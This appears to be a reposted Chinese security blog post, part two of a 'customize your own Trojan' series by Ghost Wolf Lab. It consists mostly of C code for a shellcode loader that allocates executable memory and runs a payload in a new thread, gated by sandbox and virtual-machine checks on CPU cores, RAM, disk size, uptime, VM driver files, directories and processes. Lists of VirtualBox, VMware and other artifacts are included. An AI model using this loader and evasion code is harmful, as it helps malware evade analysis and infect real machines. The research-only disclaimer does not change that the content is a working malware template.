Customize your own Trojan file-2

admin 2022年8月18日07:57:16评论14 views字数 11231阅读37分26秒阅读模式


介绍


免责声明:


本系列文章提供的程序(方法)可能带有攻击性,仅供安全研究与教学之用,如果将其信息做其他用途,由读者承担全部法律及连带责任,本实验室不承担任何法律及连带责任。


本篇文章是定制自己的木马系列的第二篇文章,我们将会使用多种技术来规避沙箱和虚拟化环境。


需要用到的东西:


  • Visual Studio

  • Kali Linux

  • Windows靶机


操作系统规避


在现实中沙箱并不能模拟真实环境,所以可以通过其操作系统的信息进行简单的规避。


1、内核数


编写代码:


SYSTEM_INFO systeminfo;  GetSystemInfo(&systeminfo);  DWORD numberOfProcessors = systeminfo.dwNumberOfProcessors;  if (numberOfProcessors < 2) return false;


这段代码很好理解,首先我们需要使用 GetSystemInfo 函数检索系统的信息,然后通过比对 dwNumberOfProcessors 值来判断内核数是不是小于2核,一般用户电脑都至少有2个内核处理器吧~


完整代码


#include <Windows.h>
#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")
int main(){ const char shellcode[] = "shellcode";PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);DWORD threadID;
SYSTEM_INFO systeminfo;GetSystemInfo(&systeminfo);DWORD NumberOfProcessors = systeminfo.dwNumberOfProcessors;if (NumberOfProcessors < 2) return false;
HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);WaitForSingleObject(Thread, INFINITE);


2、内存


编写代码:


MEMORYSTATUSEX memorystatus;  memorystatus.dwLength = sizeof(memorystatus);  GlobalMemoryStatusEx(&memorystatus);  DWORD RAMMB = memorystatus.ullTotalPhys / 1024 / 1024;  if (RAMMB < 2048) return false;


这个代码也很好理解,使用 GlobalMemoryStatusEx 函数检索系统当前使用物理和虚拟内存的信息,不过在调用该函数前,需要先设置 dwLength ,然后使用该语句将数值转换成MB,如果内存小于2048MB,也就是2G大小则返回 false。


ullTotalPhys / 1024 / 1024


完整代码


#include <Windows.h>
#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")
int main(){ const char shellcode[] = "shellcode";PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);DWORD threadID;
MEMORYSTATUSEX memorystatus;memorystatus.dwLength = sizeof(memorystatus);GlobalMemoryStatusEx(&memorystatus);DWORD RAMMB = memorystatus.ullTotalPhys / 1024 / 1024;if (RAMMB < 2048) return false;
HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);WaitForSingleObject(Thread, INFINITE);


3、硬盘大小


一般用户电脑硬盘肯定超过50G,所以编写代码:


HANDLE Device = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);  DISK_GEOMETRY DiskGeometry;  DWORD bytesReturned;  DeviceIoControl(Device, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &DiskGeometry, sizeof(DiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);  DWORD DiskSizeGB;  DiskSizeGB = DiskGeometry.Cylinders.QuadPart * (ULONG)DiskGeometry.TracksPerCylinder * (ULONG)DiskGeometry.SectorsPerTrack * (ULONG)DiskGeometry.BytesPerSector / 1024 / 1024 / 1024;  if (DiskSizeGB < 50) return false;



这段代码看似很长,其实很好理解,我们先使用 CreateFileW 函数创建或打开文件以及I/O设备,该函数会返回一个句柄,根据文件或设备以及指定的标志和属性,该句柄可用于访问文件或设备以进行各种类型的 I/O。


CreateFileW函数代码段:


CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);


语法:


HANDLE CreateFileW(  [in]           LPCWSTR               lpFileName,  [in]           DWORD                 dwDesiredAccess,  [in]           DWORD                 dwShareMode,  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,  [in]           DWORD                 dwCreationDisposition,  [in]           DWORD                 dwFlagsAndAttributes,  [in, optional] HANDLE                hTemplateFile);


参数含义:


  • [in] lpFileName:要创建或打开的文件或设备的名称


  • [in] dwDesiredAccess:对文件或设备的请求访问,可以概括为读、写、两者或都不为0),如果此参数为0,则应用程序可以查询某些元数据,例如文件、目录或设备属性,而无需访问该文件或设备,即使GENERIC_READ访问已被拒绝


  • [in] dwShareMode:文件或设备请求的共享模式,FILE_SHARE_READ,启用对文件或设备的后续打开操作以请求读取访问权限;FILE_SHARE_WRITE,启用对文件或设备的后续打开操作以请求写入访问权限


  • [in, optional] lpSecurityAttributes:一个指向SECURITY_ATTRIBUTES 结构的指针,该结构包含两个独立但相关的数据成员:一个可选的安全描述符和一个布尔值,用于确定返回的句柄是否可以被子进程继承。如果此参数为NULL ,则CreateFile返回的句柄 不能被应用程序可能创建的任何子进程继承,并且与返回的句柄关联的文件或设备将获得默认的安全描述符


  • [in] dwCreationDisposition:对存在或不存在的文件或设备执行的操作。OPEN_EXISTING仅当文件或设备存在时才打开它


  • [in] dwFlagsAndAttributes:文件或设备属性和标志


  • [in, optional] hTemplateFile:具有GENERIC_READ访问权限的模板文件的有效句柄


接下来是  DeviceIoControl 函数,该函数直接向指定的设备驱动程序发送控制代码,使相应的设备执行相应的操作。


DeviceloControl函数代码段:


DeviceIoControl(Device, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &DiskGeometry, sizeof(DiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL); 


DeviceloControl语法:


BOOL DeviceIoControl(  [in]                HANDLE       hDevice,  [in]                DWORD        dwIoControlCode,  [in, optional]      LPVOID       lpInBuffer,  [in]                DWORD        nInBufferSize,  [out, optional]     LPVOID       lpOutBuffer,  [in]                DWORD        nOutBufferSize,  [out, optional]     LPDWORD      lpBytesReturned,  [in, out, optional] LPOVERLAPPED lpOverlapped);



参数含义:


  • [in] hDevice:要在其上执行操作的设备的句柄。设备通常是卷、目录、文件或流。要检索设备句柄,需使用 CreateFile 函数,也就是上面使用的CreateFileW函数。


  • [in] dwIoControlCode:操作的控制代码。此值标识要执行的特定操作以及要在其上执行操作的设备类型,IOCTL_DISK_GET_DRIVE_GEOMETRY表示检索有关物理磁盘几何结构的信息:类型、柱面数、每柱面磁道、每磁道扇区和每扇区字节数


  • [in, optional] lpInBuffer:指向包含执行操作所需数据的输入缓冲区的指针。此数据的格式取决于dwIoControlCode参数的值。如果dwIoControlCode指定不需要输入数据的操作,则此参数可以为NULL


  • [in] nInBufferSize:输入缓冲区的大小,以字节为单位


  • [out, optional] lpOutBuffer:指向要接收操作返回的数据的输出缓冲区的指针


  • [in] nOutBufferSize:输出缓冲区的大小,以字节为单位


  • [out, optional] lpBytesReturned:指向变量的指针,该变量接收存储在输出缓冲区中的数据大小,以字节为单位


  • [in, out, optional] lpOverlapped:指向 OVERLAPPED 结构的指针


然后只要计算出硬盘的实际大小并比对即可。


完整代码:


#include <Windows.h>
#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")
int main(){ const char shellcode[] = "shellcode";PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);DWORD threadID;
HANDLE Device = CreateFileW(L"\\.\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);DISK_GEOMETRY DiskGeometry;DWORD bytesReturned;DeviceIoControl(Device, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &DiskGeometry, sizeof(DiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);DWORD DiskSizeGB;DiskSizeGB = DiskGeometry.Cylinders.QuadPart * (ULONG)DiskGeometry.TracksPerCylinder * (ULONG)DiskGeometry.SectorsPerTrack * (ULONG)DiskGeometry.BytesPerSector / 1024 / 1024 / 1024;if (DiskSizeGB < 50) return false;
HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);WaitForSingleObject(Thread, INFINITE);


4、运行时间


沙箱可能在每次检测文件时才会启动虚拟环境,我们可以通过检测系统的运行时间来规避,输入代码:


ULONGLONG starttime = GetTickCount64() / 1000;if (starttime < 1800) return false;


这个函数应该是本篇文章最好理解的函数了,GetTickCount64 检查自系统启动以来经过的毫秒数,然后经过简单的运算,如果运行时间少于30分钟则返回false。


完整代码:


#include <Windows.h>
#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")
int main(){ const char shellcode[] = "shellcode";PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);DWORD threadID;
ULONGLONG starttime = GetTickCount64() / 1000;if (starttime < 1800) return false;
HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);WaitForSingleObject(Thread, INFINITE);


文件系统


1、文件


在虚拟环境中会存在特定的工作文件,可以帮助我们识别是否在虚拟主机中。


常见的虚拟环境特定文件:


VirtualBox


  • C:windowssystem32driversVBoxMouse.sys

  • C:windowssystem32driversVBoxGuest.sys

  • C:windowssystem32driversVBoxSF.sys

  • C:windowssystem32driversVBoxVideo.sys

  • C:windowssystem32vboxdisp.dll

  • C:windowssystem32vboxhook.dll

  • C:windowssystem32vboxmrxnp.dll

  • C:windowssystem32vboxogl.dll

  • C:windowssystem32vboxoglarrayspu.dll

  • C:windowssystem32vboxoglcrutil.dll

  • C:windowssystem32vboxoglerrorspu.dll

  • C:windowssystem32vboxoglfeedbackspu.dll

  • C:windowssystem32vboxoglpackspu.dll

  • C:windowssystem32vboxoglpassthroughspu.dll

  • C:windowssystem32vboxservice.exe

  • C:windowssystem32vboxtray.exe

  • C:windowssystem32VBoxControl.exe


VMware


  • C:windowssystem32driversvmmouse.sys

  • C:windowssystem32driversvmnet.sys

  • C:windowssystem32driversvmxnet.sys

  • C:windowssystem32driversvmhgfs.sys

  • C:windowssystem32driversvmx86.sys

  • C:windowssystem32drivershgfs.sys


VirtualPC


  • C:windowssystem32driversvmsrvc.sys

  • C:windowssystem32driversvpc-s3.sys


最简单的语句:


WIN32_FIND_DATAW VMfile;if (FindFirstFileW(L"C:\Windows\System32\drivers\vm*.sys", &VMfile) != INVALID_HANDLE_VALUE) return false;


引用了 WIN32_FIND_DATAW 结构,使用 FindFirstFileW 函数在目录中搜索名称与特定名称(如果使用通配符,则为部分名称)匹配的文件或子目录。


函数语法:


HANDLE FindFirstFileW(  [in]  LPCWSTR            lpFileName,  [out] LPWIN32_FIND_DATAW lpFindFileData);


参数:


  • [in] lpFileName:目录或路径,以及文件名。文件名可以包含通配符,例如星号 (*) 或问号 (?)


  • [out] lpFindFileData:指向WIN32_FIND_DATA结构的指针,该结构接收有关找到的文件或目录的信息


该代码将文件匹配出来并与之无效句柄匹配,如果存在该文件则返回false。


完整代码:


#include <Windows.h>
#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")
int main(){ const char shellcode[] = "shellcode";PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);DWORD threadID;
WIN32_FIND_DATAW VMfile;if (FindFirstFileW(L"C:\Windows\System32\drivers\vm*.sys", &VMfile) != INVALID_HANDLE_VALUE) return false;
HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);WaitForSingleObject(Thread, INFINITE);


2、目录


也可以直接通过检测目录来辨别是否在虚拟机中,编写代码:


wchar_t currentProcessPath[MAX_PATH];GetModuleFileNameW(NULL, currentProcessPath, MAX_PATH);CharUpperW(currentProcessPath);if (!wcsstr(currentProcessPath, L"C:\PROGRAM FILES\VMWARE\")) return false;


这段代码很好理解,通过 CharUpperW  函数将检测到的目录转换成大写并进行匹配。


完整代码:


#include <Windows.h>
#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")
int main(){ const char shellcode[] = "shellcode";PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);DWORD threadID;
wchar_t currentProcessPath[MAX_PATH];GetModuleFileNameW(NULL, currentProcessPath, MAX_PATH);CharUpperW(currentProcessPath);if (!wcsstr(currentProcessPath, L"C:\PROGRAM FILES\VMWARE\")) return false;
HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);WaitForSingleObject(Thread, INFINITE);


常见虚拟机目录:


VMware


  • C:Program FilesVMware

  • C:ProgramDataVMware


VirtualBox


  • C:Program Filesoraclevirtualbox guest additions


进程


虚拟环境会启动一定的辅助进程,保证虚拟环境的运行,但一般这种辅助进程不会在真实主机中存在,常见虚拟环境进程:


JoeBox

joeboxserver.exe

joeboxcontrol.exe

Parallels

prl_cc.exe

prl_tools.exe

VirtualBox

vboxservice.exe

vboxtray.exe

VirtualPC

vmsrvc.exe

vmusrvc.exe

VMware

vmtoolsd.exe

vmacthlp.exe

vmwaretray.exe

vmwareuser.exe

vmware.exe

vmount2.exe

Xen

xenservice.exe

xsvc_depriv.exe

WPE Pro WPE Pro.exe


Customize your own Trojan file-2


编写代码:


PROCESSENTRY32W ProcessEntry = { 0 };ProcessEntry.dwSize = sizeof(PROCESSENTRY32W);HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);WCHAR ProcessName[MAX_PATH];if (Process32FirstW(hSnapshot, &ProcessEntry)){  do  {    StringCchCopyW(ProcessName, MAX_PATH, ProcessEntry.szExeFile);    CharUpperW(ProcessName);    if (wcsstr(ProcessName, L"VMTOOLSD.EXE")) exit(0);  } while (Process32NextW(hSnapshot, &ProcessEntry));}


这里需要引用 PROCESSENTRY32W 结构来描述拍摄快照时驻留在系统地址空间中的进程列表中的条目,需要包含tlhelp32.h头文件。


使用 CreateToolhelp32Snapshot 函数拍摄指定进程的快照,以及这些进程使用的堆、模块和线程。


然后使用 StringCchCopyW 函数复制来判断是否固定进程,如果有则直接退出,该段语句会一直循环匹配(需要包含strsafe.h头文件)。


完整代码:


#include <Windows.h>#include <Tlhelp32.h>#include <Strsafe.h>
#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")
int main(){ const char shellcode[] = "shellcode";PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);DWORD threadID;
PROCESSENTRY32W ProcessEntry = { 0 };ProcessEntry.dwSize = sizeof(PROCESSENTRY32W);HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);WCHAR ProcessName[MAX_PATH];if (Process32FirstW(hSnapshot, &ProcessEntry)){ do { StringCchCopyW(ProcessName, MAX_PATH, ProcessEntry.szExeFile); CharUpperW(ProcessName); if (wcsstr(ProcessName, L"VMTOOLSD.EXE")) exit(0); } while (Process32NextW(hSnapshot, &ProcessEntry));}

HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);WaitForSingleObject(Thread, INFINITE);


小结


对于规避沙箱、虚拟化环境无非利用目录文件、注册表、操作系统信息、进程、网络请求、CPU、硬件、挂钩等来进行判断。


本系列文章并不会编写对木马的免杀,因为木马免杀是非常简单的,即使只是利用函数也能达到全免杀的效果。

Customize your own Trojan file-2


部分内容参考链接(建议收藏):


https://evasions.checkpoint.com/



Ghost Wolf Lab
Customize your own Trojan file-2


本系列文章由Ghost Wolf Lab 编写,严禁未经过授权的转载、复制粘贴等行为供商业牟利。

Customize your own Trojan file-2









原文始发于微信公众号(Ghost Wolf):Customize your own Trojan file-2

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月18日07:57:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Customize your own Trojan file-2https://cn-sec.com/archives/1241425.html

发表评论

匿名网友 填写信息